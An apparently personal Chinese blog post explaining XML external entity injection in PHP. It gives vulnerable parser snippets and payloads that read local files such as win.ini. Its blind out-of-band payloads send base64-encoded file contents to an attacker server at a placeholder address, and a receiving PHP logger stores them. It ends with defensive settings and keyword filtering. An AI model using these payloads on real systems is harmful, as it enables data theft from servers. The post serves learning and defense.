xxe

spleated發表於2018-03-28

參考文獻:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html

libxml2.9.1及以後,預設不解析外部實體。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()檢視libxml的版本資訊。

xxe是xml外部實體注入。
實體又分為一般實體和引數實體
① 一般實體的宣告語法:

<!ENTITY 實體名 "實體內容">

引用實體的方式:&實體名;
②引數實體只能在DTD中使用,引數實體的宣告格式: <!ENTITY % 實體名 “實體內容”>
引用實體的方式:%實體名;
有回顯:

<?php
$data = simplexml_load_string($_GET[`xml`]);
print_r($data);
?>

無回顯

<?php
$data = simplexml_load_string($_GET[`xml`]);
?>

利用xxe漏洞可以進行拒絕服務攻擊,一般xxe利用分為兩種:有回顯和無回顯。有回顯的情況可以直接在頁面中看到Payload的執行結果或現象,無回顯的情況又稱為blind xxe,可以使用外帶資料通道提取資料

(1)有回顯,可利用的方式:(&需要轉化為url編碼%26)

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE xxe [<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo> 

(2)無回顯,可利用的方式
可以使用外帶資料通道提取資料,先使用php://filter獲取目標檔案的內容,然後將內容以http請求傳送到接受資料的伺服器(自己伺服器)
%號要進行實體編碼成&#x25(16進位制)或&#37(10進位制);
①.偷用下師父的payload。
自己伺服器下的xxe.xml內容

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">  
<!ENTITY % int "<!ENTITY % trick SYSTEM `http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;`>">  
%int;  
%trick;  

在xxe.xml同級還有個xxe.php檔案

<?php
file_put_contents(`1.txt`,$_GET[`yy`]);
?>

在外部攻擊的內容:

<!DOCTYPE root[  
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">  
%remote;]>  
<root/>

②.

<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>

在xxe.dtd同級還有個xxe1.php檔案:

<?php
file_put_contents(`1.txt`,$_GET[`yy`]);
?>

xxe.dtd裡面的內容:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM `http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;`>">
%all;

這個payload的原理和師父的一樣。可以在1.txt裡面或者是日誌裡面檢視base64加密過的想要檢視的檔案,(檢視日誌的命令:tail -f /var/log/apache2/access.log

如何防禦xxe攻擊
①使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②過濾使用者提交的XML資料
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。